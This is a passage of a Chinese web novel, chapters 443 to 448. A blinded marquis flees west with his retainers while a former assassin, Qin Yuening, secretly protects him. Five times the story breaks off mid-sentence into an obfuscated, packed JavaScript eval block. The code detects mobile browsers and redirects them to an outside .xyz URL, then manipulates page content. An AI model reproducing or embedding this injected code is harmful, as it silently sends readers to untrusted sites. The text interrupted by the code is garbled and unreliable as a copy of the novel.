她飞快地说道:“我遇到裴应见了,他没死,但因为假死药的后遗症,眼睛暂时看不见了。我拖住了我哥哥,让他先往西边跑了。” 第443章 我爱上了他 被扶起来的秦月娘身体僵直,眼神依旧是涣散的,仿佛根本没听懂她在说什么,嘴里还在流着口水,痴傻地笑着。 姜飞飞心头火起。 她猛地从怀里掏出个小纸包,捏开秦月娘的嘴,不由分说地将里面的药丸塞了进去。 “这是哥哥给你下的那个毒的解药。”她盯着秦月娘的眼睛,一字一句道,“我希望你能永远离开这里,去找裴应见,去保护他。” 药丸滑入喉咙。 一直痴傻疯癫的秦月娘,身体猛地颤了颤。 她缓缓地、缓缓地抬起头,那双原本浑浊涣散的眸子,一点点变得清明、锐利,像两把淬了冰的刀。 她不再笑了,也不再流口水,脸上那副疯疯癫癫的面具被彻底撕下,取而代之的是彻骨的冰冷和审视。 “你为什么要这么做?” “还有,”秦月娘的目光落在姜飞飞身上,那眼神仿佛能穿透皮肉,直视她的骨血,“你是怎么摇身一变,成了主上的妹妹?” 秦月娘的问话如刀锋般锐利,姜飞飞却只是轻笑着摇头。 “解释不清楚。”她的声音里带着一种奇异的轻松,“说了你也不会信。” “试试看。”秦月娘眼神冰冷,声音里没有温度。 姜飞飞沉默片刻,忽然开口:“他救过我。” “裴应见,他救过我。”姜飞飞重复道,语气平静得仿佛在说今日天气,“就这么简单。” 秦月娘眼中闪过一丝讽刺。 很显然是觉得姜飞飞在拿这个理由糊弄她。 她仍旧盯着她。 许久,姜飞飞叹了口气,垂下眼帘,良久才抬起头,那双眼中竟有了几分真诚:“好吧,你要真话?” “那我就不妨告诉。”她深吸一口气:“……我爱上他了。” 房间里死寂了片刻。 秦月娘看着她。 此刻姜飞飞比她更像一个疯子。 “你不相信?” 姜飞飞冷笑起来。 她伸手来捏秦月娘的下巴。 “你有什么资格质疑我?” “你忘了当初你是怎么对我的?我本来已经要逃走了,是你!你抓住了我,给我下毒,把我当畜生一样使唤,折磨——现在我要你去救他,就当是还那些债!” “我不欠你什么。”秦月娘却也冷冷一笑,并不辩驳。 弱者就应该命如蝼蚁,为强者所驱使,这是她自进入那**大宅之后,就信奉的唯一准则。 而她更相信,姜飞飞跟她是同一类人。 可是她没想到姜飞飞要亲手打破她的准则。 “我知道,你也爱上了他。你不用不承认。我可能比你自己还要了解你……” 秦月娘仍旧面无表情,眼睫却微微一颤。 “但我更知道,你对他的感情,却绝没有自由对你来说重要。现在我就给你这个机会——自由。我给你自由。秦月娘,这可是天大的机会。” 姜飞飞的声音如同地狱里的魔鬼,带着无边的蛊惑。 “只要你为我做这件事,救了他,我就答应能让你远走高飞,永得自由……不过他将来要属于我,你休想把他一起带走。他是我的。” 秦月娘依旧不语,只是看着她。 姜飞飞忽然逼近一步,眼神锐利如鹰:“还是说,你对他的心,已经超过了你对自由的念头?” 秦月娘眼睫微颤。 “没有。” 姜飞飞笑了,那笑容里满是得意:“看,我就知道。” “你也想救他,不是吗?而且你还能得到自由,再没有比这更好的事了。去吧。”姜飞飞转身走向窗边,背对着她,“救他,然后消失。这样对我们都好。” …… 深夜三更,郡主府的东院忽然传来一阵骚动。 “快!快去禀报主上!” “郡主打伤了大小姐!跑了!” 萧玦赶到时,房间里一片狼藉。 姜飞飞正坐在床边,神色淡然地处理着手臂上的伤,动作熟练。 “怎么回事?” 姜飞飞抬头看他,眼中还含着泪,却强撑着笑:“没事,哥哥,就是她发疯了,抓了我几下就跑了。” 萧玦走近,仔细查看她的伤势。 抓痕不深,但血迹斑斑,确实像是疯人所为。 “为什么不叫人?” “来不及。”姜飞飞轻描淡写道,“她忽然清醒了一下,趁我不备就……” 萧玦的眼神渐渐变得深邃,盯着她看了很久。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355394|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“飞飞。”他忽然开口,声音里带着某种危险的试探,“她是你故意放走的,对吗?” 姜飞飞手中的动作顿了顿,然后娇笑起来:“哥哥说什么呢?我怎么会故意放走她?” “因为你想让她去找裴应见。”萧玦语气笃定,“然后让他们相遇,甚至相爱,再反目成仇——那才更有意思,不是吗?” 姜飞飞停下手中的动作,缓缓抬起头。 两人四目相对,空气中弥漫着一种奇异的默契。 良久,姜飞飞笑了,那笑容里满是恶作剧得逞的快意:“哥哥真了解我。” 萧玦也笑了,眼中闪过一丝欣赏:“我的妹妹,果然有趣。” …… 山下小镇。 风雪初霁。 男人蜷缩在破旧的屋檐下。 身上的衣衫破烂不堪,脸上胡子拉碴脏乱不堪,双眼仿若空洞,呆呆地望着前方。 任谁都能一眼看出这是个瞎眼乞丐。 但没有人知道,这个看起来又脏又烂的臭乞丐,曾是京城里光风霁月,名闻一时的镇国侯。 山中数日,裴应见几乎吃尽了能找到的野果和草根,虽然手上功夫不错,奈何双目失明,打猎对他来说还是太难。 如今也正是风雪最盛,天气最寒的冬日,山中实在难捱,实在撑不下去,他才不得不冒险下山。 “行行好,给口饭吧……”他装作虚弱地伸出手,声音嘶哑。 路过的行**多匆匆而过,偶尔有人看上一眼,却没人停留。 直到一个卖烧饼的老汉走过。 “哎呀,这大冷天的。”老汉停下脚步,语气里满是关切。 裴应见抬起头,空洞的双眼让老汉心生怜悯。 “老人家,给点吃的吧,我饿了三天了……” 老汉叹了口气,从篮子里拿出两个还热乎乎的烧饼递给他:“拿着,趁热吃。” 裴应见接过烧饼,触感温热。 “谢谢……” “哎,都是苦命人。”老汉摆摆手,“从前没见过你,你不是咱这儿的人吧?从哪来的?家在何处?” “流浪汉一个,四处为家。”裴应见边吃边含糊道,“敢问这是何处?” “青塔镇。”老汉答道。 第444章 相见 老汉接着道:“别看镇子不大,但是咱民风淳朴,你要是愿意,可以到处问问试试,说不定有人能给你个活计做,也能有口饭吃……唉,这大冬天的,可不好捱呀……” 青塔镇。 青塔。 这两个字在裴应见心中咀嚼一阵,忽然激起一阵莫名的悸动。 仿佛在哪里听过,却又想不起来。 一瞬间,他忽然想留下来。 他默念着这个名字,心底那丝说不清道不明的牵引,让他熄了继续西行的念头。 但冬日真的难捱。 他虽身怀武功,却不能展露。 最后只能顶着盲了的双眼,试着在镇上找点活计。 “眼瞎的?那可干不了活。”布庄的伙计皱着眉道。“不是不可怜你啊,是真干不了,你再别家问问去呢!” “我们这儿都是精细活,你看不见,别把东西给砸了。”瓷器店老板叹口气,“怪可怜的,给点东西你吃吧,活是真不能让你干……” 一连问了七八家,回应他的不是摇头便是叹气。 天寒地冻,腹中空空。 有好几次,他听着路人钱袋碰撞的细碎声响,或是闻到食肆飘出的肉香,心中也曾本能地闪过一丝恶念。 可那念头刚起,便被他死死掐灭。 他曾是镇国侯,如今沦落至此,却还不屑于向手无寸铁的百姓偷盗抢掠。 就在他快要撑不住时,镇尾一家小饭馆的后门开了。 “又是你?”满脸油光的厨子探出头,打量着缩在墙角的裴应见,“天天在这儿杵着,想干嘛?” “找口饭吃。”裴应见声音沙哑。 厨子上下扫了他几眼,吐了口唾沫:“看你手脚还算利索,进来,帮我刷碗。刷得干净,就管你两顿饭。” 裴应见沉默着站起身,跟着他走进了油腻昏暗的后厨。 堆积如山的碗碟,带着馊味的残羹冷炙。 裴应见什么也没说,卷起袖子,开始干活。 水是刺骨的冰冷,但他仿佛没有知觉。 粗茶淡饭,干不完的活,日复一日。 日子竟有了一种前所未有的平静,一种被磨去所有棱角、只剩下生存本能的平静。 他不再是侯爷,不是任何人,只是一个在后厨刷碗的瞎子。 这夜,风停雪静。 裴应见刚躺在柴房的草堆上,耳朵忽然微微一动。 风声里,夹杂着一丝极其轻微的、不属于自然的动静。 那是一种高手踏过雪地,却几乎不发出声响的独特节奏。 有人来了。 他悄无声息地翻身坐起,背靠柴堆,整个人融入黑暗。 脚步声在柴房外停下。 门“吱呀”一声被推开,一道身影如鬼魅般闪了进来。 来人武功极高。 裴应见屏住呼吸,在对方气息靠向自己的瞬间,悍然出手,一掌劈向来人的脖颈。 那人反应极快,侧身避开,同时手腕一翻,扣向裴应见的脉门。 两人的招式在黑暗中交错,快得只剩下衣袂破风的轻响。 对方似乎并无杀意,招招只守不攻,像是在试探。 就在裴应见准备使出杀招时,那人忽然收手后撤,声音里带着难以置信的颤抖和狂喜,试探着唤了一声: “……侯爷?” 这两个字,像一把钥匙,猛地**裴应见混沌的脑海。 他准备再次攻出的手,僵在了半空。 “侯爷?是您吗,侯爷?!” “青义?”他迟疑地吐出一个名字。 “是属下!侯爷,是属下啊!” 黑暗中的声音瞬间哽咽。 青义几步冲上前来。 窗外微光映出轮廓的裴应见,尤其是他那双毫无神采的眼睛,青义瞬间双膝一软,重重跪了下去。 “属下来晚了,侯爷!” …… 镇外,一处僻静的农院里,火盆烧得正旺。 “侯爷!” 云承月和青川在看到裴应见被青义扶进门时,都惊得站了起来。 青川的伤好了大半,命是捡回来了,只是这辈子都无法再开口说话。 他看着裴应见空洞的双眼,眼眶瞬间通红,嘴巴张了张,却只能发出“嗬嗬”的绝望声响。 “怎么会这样?”云承月快步上前,抓起裴应见的手腕,两指搭了上去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369154|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 众人皆是满心沉痛。 片刻后,云承月松了口气,神色却依旧凝重:“侯爷体内有药石残留,伤及了目脉,但并非全无希望。只是需要长期调理,急不得。” 听闻还有复明希望,青义和青川的神情才稍稍缓和。 “侯爷,您究竟遭遇了何事?”青义忍不住问。 裴应见脑中闪过秦月娘那张冷绝的脸,以及那颗让他假死脱身,却伤了他眼睛的药丸。 他沉默片刻,隐瞒了秦月娘的事,只淡淡道:“被暗算,侥幸逃脱罢了。” 青义见他不愿多说,便也不再追问,只是眼中恨意翻涌。 “侯爷,此地虽偏僻,但离那面具男人的势力范围不远。”青义沉声道,“我们必须尽快继续向西,那里才是您当初布下的最后退路。” 裴应见点了点头。 夜深了,众人各自歇下。 裴应见却毫无睡意,他摸索着走到云承月的房门前,轻轻敲了敲。 “进来吧,望之。”云承月的声音传来。 裴应见推门而入,在桌边坐下。 “我想问你几件事。” “你说。” “姜飞飞,还有萧玦……他们到底是什么人?他们来自何处?”裴应见的声音低沉幽远,带着暗暗的痛苦,“我觉得我忘了些很重要的事,与他们有关……” 云承月看着他,烛火下,他的神情变得异常复杂。 “那是一个很长,也很离奇的故事。”他缓缓开口,“你一直都想不起来……如今,你真的想知道吗?” “想。” 云承月叹了口气,似乎在整理思绪。 “一切,都要从你初春时去青州赈灾说起。去青州的路上,你遇袭重伤,命悬一线,却误入了一间开在荒郊野岭的神秘客栈,从里面换回了许多奇异的东西……” “客栈……” 裴应见喃喃重复着这个词,脑中仿佛有电光闪过。 无数破碎的画面、嘈杂的人声、刺目的光影……疯狂涌入他的脑海。 下一瞬,他突然猛地抱住头。 剧痛让他发出一声闷哼,接着整个人从凳子上栽倒下去,瞬间失去了知觉。 第445章 西行之路 “望之!” 云承月一声惊呼,扑过去扶住软倒的裴应见,同时厉声朝门外喊道: “青义!快打盆冷水来!” 裴应见倒在他怀里,双目紧闭,眉头死死拧成一个疙瘩,即便在昏迷中,脸上也满是挣扎的痛楚之色。 门被“砰”地一声撞开,青义和青川一前一后冲了进来。 看到倒地的裴应见,青义的脸“唰”地白了:“侯爷这是怎么了?” 青川虽不能言,却已冲到裴应见身边,看着他痛苦的神情,这个铁打的汉子眼眶红得骇人,喉咙里发出焦急而破碎的“嗬嗬”声。 “别围着,让他透气!”云承月从怀中摸出针包,飞快地捻出几根银针,刺入裴应见头顶几处大穴。 他的手法又快又稳,原本还微微抽搐的裴应见,在银针刺下后,总算渐渐平静下来。 一盆冷水递到跟前,云承月用布巾浸湿,小心地擦拭着裴应见的额头和脸颊。 良久,他才长长吐出一口浊气,面色沉重地站起身。 “云先生,侯爷他……” 云承月摆了摆手,示意他们到外间说话。 三人将裴应见挪到床上安顿好,才重新围坐在那盆半明半暗的火盆边。 “侯爷的身体,经不起任何关于那间客栈,还有……那位秦姑娘的刺激。”云承月的声音压得很低,“那些记忆似乎被一道枷锁封住了,强行触碰,只会让他神魂激荡,有性命之忧。” 他顿了顿,看着两人:“从今天起,这些事,谁也不准再提。一个字都不行。” 青义闻言,神情黯然,忍不住喃喃道: “可侯爷与那位秦姑娘……当初属下们看得分明,那是动了真情的……谁能想到,竟会落到今日这般田地……失控相隔,竟再不复相见。” 他话音里满是惋惜与不甘。 一旁的青川却忽然伸出手,拉了拉他的衣袖。 青义转过头,只见青川先是指了指自己的脑袋,用力摇了摇头,然后,他又指了指心口的位置,做了一个顺其自然、缓缓舒展的手势。 云承月看懂了: “青川是说,缘法之事,强求不得。刻意去想,反成心魔。或许哪天侯爷自己放下了,那些事反而会自己想起来。” 青川用力点了点头,随即攥紧拳头,眼神变得无比坚定。 他比划着说,现在最重要的,是护住侯爷的性命,让他好起来。 “青川说得对。”云承月沉声道,“保住性命,才有以后。西行之路,必须继续。” …… 第二日,天光微亮。 裴应见醒来时只觉头痛欲裂,昨夜那阵钻心剜骨的痛楚还留有余韵。 他撑着身子坐起,云承月便端着一碗药走了进来。 “感觉如何?” “头疼,像被劈开过。”裴应见揉着太阳穴,声音有些沙哑。 云承月将药碗递给他,在他身边坐下,神情温和却严肃:“望之,昨夜的事,你还记得吗?” 裴应见回想了一下,只记得自己问起萧玦和姜飞飞,然后便是一片混乱的剧痛。 “我们商议过了。”云承月看着他,“关于你忘掉的那些事,暂时不要再追寻了。你的身体承受不住。待日后你身体康复,尘埃落定,若还想知道,我再原原本本告诉你。” 裴应见端着药碗的手顿了顿。 他沉默了片刻,感受着脑中隐隐的刺痛,最终坦然地点了点头: “好。既然想不起来,便不去想了。眼下,活下去才最要紧。” 他仰头将那碗苦涩的药汁一饮而尽,神色间没有半分颓丧,反倒有种放下重负的清明。 云承月看着他,心中暗暗松了口气。 裴应见放下空碗,正要说话,动作却忽然僵住。 他下意识地抬起手,伸到自己眼前。 窗外透进来的晨光,不再是无边无际的黑暗。 他的眼前出现了一片模糊的光晕,光晕中,他能隐约看到自己手掌的轮廓,虽然朦胧得像是隔着一层厚厚的**玻璃,但那确确实实,是光,是形。 “我好像……能看见了。” 青义恰巧端着一盆热水推门而入, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369155|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好听到这句。 “哐当”一声,铜盆砸在地上,热水溅了一地。 青义却浑然不觉,三步并作两步冲到床前,瞪大眼睛,又惊又喜: “能看见了?!侯爷!您真的能看见了?!” 没想到盲了这么久的裴应见,竟在云承月一副药之下就能好转。 青义忍不住对云承月的医术大家夸赞。 大家也都对此次西行之路更有信心。 翌日清晨,一行四人便舍弃了官道,转而踏上了一条通往深山的崎岖小径。 这条路是青义打探来的,由当地猎户踩出,险峻难行,却能省下数日脚程。 翻过眼前这片连绵山脉,便可直接踏入燕州地界。 山风凛冽,刮在人脸上如同刀割。 青川走在最前头,用手中的长刀劈砍着挡路的荆棘。 他虽无法言语,但每一步都走得极稳,时时回头,用眼神确认身后三人的状况。 青义扶着云承月,嘴里小声地抱怨着:“这鬼地方,鸟不拉屎的,真亏那猎户能踩出条道来……云先生,您慢点,这儿有块石头滑。” 云承月气息有些不匀,但神色尚算镇定,他毕竟是文弱书生,又大病初愈,体力远不及另外三人。 裴应见走在最后,没有让任何人搀扶。 他的双眼仍旧看不太真切,只能辨认出模糊的光影与轮廓,脚下的路在他眼中只是一片深浅不一的色块。 可他走得却不慢,仿佛身体的本能记住了该如何在这种地形上行走,每一步都踏在最安稳的落脚点。 远离了城镇与追兵,连这刺骨的寒风都似乎带着几分自由的味道。 紧绷了许久的神经,终于得到片刻的松弛。 不知走了多久,前方的青川忽然停下了脚步。 四人走出密林,眼前豁然开朗。 他们正站在一处悬崖的边缘,脚下是万丈深渊,对面则是层峦叠嶂、被白雪覆盖的群山。 广阔无垠的深谷在脚下铺展开来,谷底笼着一层淡青色的薄雾,苍茫而壮阔,宛如一幅泼墨山水。 第446章 安乐郡主秦月娘 “嗬……”青义忍不住发出一声赞叹,“这景致,真他……的壮观。” 裴应见也顿住了脚步。 他“看”着眼前这片朦胧的景象,心中不知怎么,忽然蓦地涌起一股难以言喻的熟悉感。 仿佛在某个时刻,某个地方,他曾见过相似的风景。 “青义,”他忽然开口,声音带着一丝不确定,“你与我说说,这里是什么样子?” 青义愣了一下,随即绘声绘色地描述起来: “侯爷,咱们脚下是悬崖,深不见底!对面全是山,一座连着一座,山尖上都是雪。这山谷特别大,一眼望不到头,底下雾蒙蒙的,像仙境似的!” 裴应见静静地听着,眉头却越锁越紧。 “我怎么觉得,好像来过此处。” 一旁的青川拉了拉青义的衣角,然后摇了摇头,比划着说——侯爷从未来过此处。 青义也反应过来,连忙道:“对啊侯爷,您应该没来过,上次咱们去燕州也是绕道走的,没翻过这座山。您应该是记错了。” 裴应见没有说话。 云承月的心脏却在此刻漏跳了一拍。 他看着这片山谷的走向,看着对面山脉的轮廓,心底一个名字猛地跳了出来——青塔湖景区! 这里的地势、山形,几乎都与那个遥远的时代里,那个客栈所在的景区四周一模一样! 这里……极有可能就是数百年后,那间神秘客栈所在的地方…… 就在他心神剧震之时,裴应见却像是自言自语般,望着脚下的广阔山谷轻声喃喃道: “这山谷里……若有一片湖,那就更美了。” 云承月猛地转头看向他,眼中满是骇然。 云承月强压下心中的惊涛骇浪,竭力让自己的声音听起来平稳,也跟着喃喃道: “是啊……说不定再过个几百年,沧海桑田,此处真就成了一片湖泊了。” 裴应见没有再接话,只是那股莫名的熟悉感与怅然依旧萦绕在心头,挥之不去。 “走吧。”他收回思绪,率先转身,朝林中走去。 众人跟上,重新踏入被林木遮蔽的幽暗小径。 然而,就在他们转入林中的一瞬间,风声陡变! 咻! 咻咻! 数道破空之声从两侧的密林中骤然袭来! “有埋伏!”青义厉喝一声。 裴应见反应快得不像一个视物不清之人,他甚至没有去看暗器的来向,左手闪电般探出,一把抓住身侧青川的肩膀,将他猛地向后拉拽半步。 “咄!” 一枚黑色的铁蒺藜堪堪擦着青川的鼻尖飞过,深深钉入他前方的一棵树干,尾羽兀自颤动不休。 与此同时,青义已抽出腰间软剑,舞出一片剑花,护在云承月身前,“叮叮当当”几声脆响,将另外几枚暗器尽数格开。 四人背靠背聚在一起,警惕地望向暗器射来的方向。 林中静悄悄的,除了风声,再无动静。 青义握紧了剑,压低声音道:“不对劲……这些暗器力道虽足,却并未对准咱们的要害。” 确实如此。 方才的袭击,更像是警告,或是……单纯地想拦住他们的去路。 “藏头露尾的鼠辈!有本事就出来!”青义厉声喝道,手中长剑横在胸前,剑尖直指林深之处。 林子里死寂一片,只有风穿过枯枝的呜咽。 对方不再出手,仿佛刚才那几枚淬着寒光的铁蒺藜只是一个不怀好意的问候。 越是如此,越是让人脊背发凉。 裴应见没有动,他侧耳倾听着,那双模糊的眼睛,此刻却比任何人都更具穿透力。 他缓缓走到那棵被钉入暗器的树前,伸出两指,将那枚铁蒺藜拔了出来。 入手冰冷,带着倒刺,做工精良。 他将这东西放在掌心掂了掂,就在众人以为他要细细查探时,裴应见手腕猛地一振。 那枚铁蒺藜以比来时更快的速度,化作一道黑光,呼啸着射回方才暗器袭来的方向! “噗!” 一声闷响。 紧接着,是枝叶剧烈晃动的“哗啦”声。 一道红色的身影从十数丈高的树冠上飘落下来,像一片被寒风过早催落的红枫,带着几分决绝的凄艳。 那身影落地无声,站定在众人前方不远处。 来人一身烈火般的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369156|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣,在这萧瑟的冬日山林里,显得刺眼又夺目。 她身形高挑,面容冷峭,一双眼睛亮得像淬了冰的刀子,整个人都透着一股生人勿近的锋利。 在看清那张脸的瞬间,云承月瞳孔骤缩,下意识暗道……秦绵绵?! 不对。 他立刻反应过来,眼前这女子虽然与秦绵绵极为相似,但眉眼间的神韵与气质却截然不同。 那是一种从骨子里透出的、被驯养又桀骜不驯的,冰冷的危险。 “是安乐郡主……秦月娘。”云承月的声音沉了下去。 这个名字一出,青义和青川的身体瞬间绷紧,像是遇到了天敌的野兽。 秦月娘没有理会旁人,她的目光越过所有人,径直落在了裴应见的脸上。 当那双冰冷的眸子对上裴应见那双看不真切的眼时,她整个人仿佛被什么东西蛰了一下,凌厉的气势出现了一丝微不可察的裂痕。 裴应见也“看”着她。 他看不清她的脸,却能感觉到那道视线,如芒在背,带着一种他无法理解的、复杂的重量。 这感觉……竟也有些熟悉。 “妖女!是你!”青义的怒火“噌”地一下就顶了上来,他想起自家侯爷所受的种种折辱,眼睛都红了,“是不是那个面具怪人派你来赶尽杀绝的?我跟你拼了!” 说着,他提剑便要冲上去。 “我若是来杀你们,你已经是个**。”秦月娘终于开口,声音和她的人一样,又冷又硬,没有半分温度。 她看也未看青义,只淡淡道:“我是私自出来的。” 她顿了顿,视线依旧锁着裴应见,话却是对所有人说的:“前面三里,是皇家开凿石窟的工地,有重兵把守。你们这条路,走不通。” “你会这么好心?”青义根本不信,只当她又在耍什么花招,“谁知道你是不是想把我们引到什么陷阱里去!” 秦月娘终于将视线从裴应见身上挪开,瞥了青义一眼,那眼神里满是毫不掩饰的轻蔑与不耐。 “我救的,只是他。” 她抬起手,遥遥指向裴应见,字字清晰。 “你们是死是活,与我无关。想去送死,自便。” 第447章 受人所托护你活命 这话一出,空气仿佛都凝滞了几分。 青义像是听到了天大的笑话,提着剑的手臂青筋都爆了出来: “皇家石窟?在这鸟不拉屎的深山老林里?你当我们是三岁小儿不成!我看你是想把我们引到面具怪人的老巢去!” 秦月娘连眼皮都懒得抬一下,仿佛与青义多说一个字都是浪费。 云承月亦是眉头深锁,他思忖片刻,低声道:“侯爷,此事确有蹊跷。在此处开凿石窟,劳民伤财,毫无益处,不合常理。” 所有人的目光都汇集到了裴应见的身上。 他没有出声,那双看不真切的眼眸,却直直地“望”着那道烈火般的身影。 他看不清她的神情,却能感觉到她周身散发出的那种孤绝与不耐烦,像一头被困在笼中的狼,即便被拔了牙爪,骨子里的凶性也未曾磨灭分毫。 这种感觉,让他心头那股莫名的熟悉感再次翻涌。 半晌,他终于开口,声音平静无波。 “掉头,改道。” “侯爷!”青义大惊,几乎不敢相信自己的耳朵。 裴应见却不再解释,径直转过身,摸索着朝来路走去。 他的动作不快,但每一步都透着不容置喙的决断。 青义和云承月对视一眼,皆从对方眼中看到了无奈与不解,却也只能跺了跺脚,跟了上去。 哑巴青川默默地走到裴应见身侧,扶住了他的手臂。 四人折返,在林中另寻了一条更为陡峭的小径,继续向西。 没走多远,青义回头一瞥,脸色顿时又难看起来。 那抹刺目的红色身影,不远不近地缀在他们身后,像一道甩不脱的鬼影。 山风吹起她的衣袂,让她在灰败的林木间,如同一簇飘忽的鬼火。 “你到底想干什么!”青义终于按捺不住,停下脚步冲着后面吼道,“跟着我们做什么!?” 秦月娘的脚步也随之停下,隔着数十步的距离,冷冷地望着他,不发一言。 那眼神,就像在看一个吵闹的虫子。 裴应见不发话,众人只好继续走。 但秦月娘却还是不远不近地跟在身后,仿佛甩不掉的影子。 如此三番两次,青义的火气越积越旺,而秦月娘始终如一尊冰雕,不理会,不靠近,也不离开。 就在青义又要发作之时,一直沉默前行的裴应见忽然动了。 他的身形快如鬼魅,脚下在崎岖的山路上一点,整个人便如离弦之箭般倒射而回。 众人只觉眼前一花,他已然出现在秦月娘面前,五指如爪,精准地扣向她的咽喉! 秦月娘瞳孔一缩,反应也是极快,侧身欲躲。 可裴应见这一招本就是虚晃,他扣向咽喉的手在中途猛地一转,稳稳地抓住了她的手腕。 那力道之大,让秦月娘竟挣脱不得。 “说。”裴应见的声音压得很低,带着一丝冰冷的质问,“你究竟想做什么。” 秦月娘对上他那双空洞的眼,心头猛地一刺,面上却浮起一抹讥诮的冷笑: “放手。” “回答我。”裴应见不为所动,指节收得更紧。 片刻间,就在她白皙的手腕上勒出了一片红痕。 “我受人所托,护你活命。”秦月娘终于开了口,声音里满是嘲弄,“等确定你死不了,我自然会走。仅此而已。” 裴应见眉头微蹙:“谁?” “你无需知道。” 裴应见静静地“看”了她片刻,那张模糊的面容轮廓,那冷硬的语调,不知为何,竟让他心里某个地方,泛起一阵空落落的难受。 他松开了手,一言不发地转身,撇下她继续前行。 秦月娘站在原地,揉了揉被捏得发红的手腕,垂下的眼帘遮住了眸中一闪而过的复杂心事。 这一切,都被不远处的云承月尽收眼底。 他看着秦月娘那张与秦绵绵别无二致的脸,再看看裴应见落寞的背影,只觉得心绪乱成一团麻。 这两个人之间,分明有什么他们都不知道的过往。 而这过往,已经影响到了裴应见的决断。 他对这个秦月娘,究竟是何念头? 若再和她继续纠缠不清下去,那个遥远的秦姑娘,又怎么办呢? …… 天色渐晚,山中寒气愈发逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373235|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 一行人寻了一处背风的山坳准备歇脚。 青义一边生着闷气,一边拾掇着枯枝,嘴里还不停地念叨着什么。 就在此时,林中深处忽然传来一声低沉的咆哮。 “嗷呜——” 一道黑影闪电般从林子里窜出,带着一股腥风,直扑向离得最近的青义! 那是一头吊睛白额的猛虎,体型硕大,饿得双眼冒着绿光。 “小心!”云承月惊呼。 青义反应过来时,虎爪已到了面门。 他仓促间举剑格挡,却被那股巨力扑倒在地,锋利的虎爪在他肩头划开一道深可见骨的血口。 “青义!”裴应见厉喝一声,循声便要扑上。 可有人比他更快。 红影一闪,秦月娘不知何时已欺身到了猛虎侧面。 她手中不知何时多了一柄寒光闪闪的**,没有半分花哨的招式,只是身子一矮,躲过猛虎扫来的尾巴,整个人如同附骨之疽般贴了上去。 噗嗤! **以一个刁钻狠戾的角度,精准地从猛虎柔软的腹部捅入,而后猛地向上划开。 那猛虎发出一声凄厉至极的惨嚎,庞大的身躯轰然倒地,抽搐了几下,便再没了声息。 整个过程,不过发生在电光石火之间。 下一瞬,山坳里死一般寂静。 只剩下青义粗重的喘息和云承月手忙脚乱包扎伤口的声音。 所有人都被秦月娘那份利落狠辣的杀戮手段震住了。 而杀虎的罪魁祸首,此刻却只是面无表情地拔出**,在虎皮上随意擦了擦血迹。 她走到刚刚升起一簇火苗的火堆旁,又添了几根粗壮的枯枝,让火烧得更旺。 随即,她拖着那头尚在流血的猛虎尸体过来,抽出**,手法熟练地开始剥皮、割肉。 看的众人目瞪口呆。 而她面色如常,仿佛这只是一件再寻常不过的事情。 火光映着她冷峭的侧脸,也映着她脚边那片殷红的血迹,场面诡异而骇人。 众人都只是静静看着,看着她完成一系列准备之后,接着开始把肉放在火上烤。 第448章 我走了 火堆烧得“噼啪”作响,油脂滴落,激起一簇簇火星,浓郁的肉香混着血腥气在冷冽的山风里弥漫开来。 山坳里一片死寂。 青义捂着血流不止的肩膀,脸色发白地看着对面的红衣女子。 她神情专注,仿佛不是在处理头猛虎,而是在做件再寻常不过的绣活。 她的动作没有半分迟滞,剥皮、剔骨、切肉,利落得让人心头发寒。 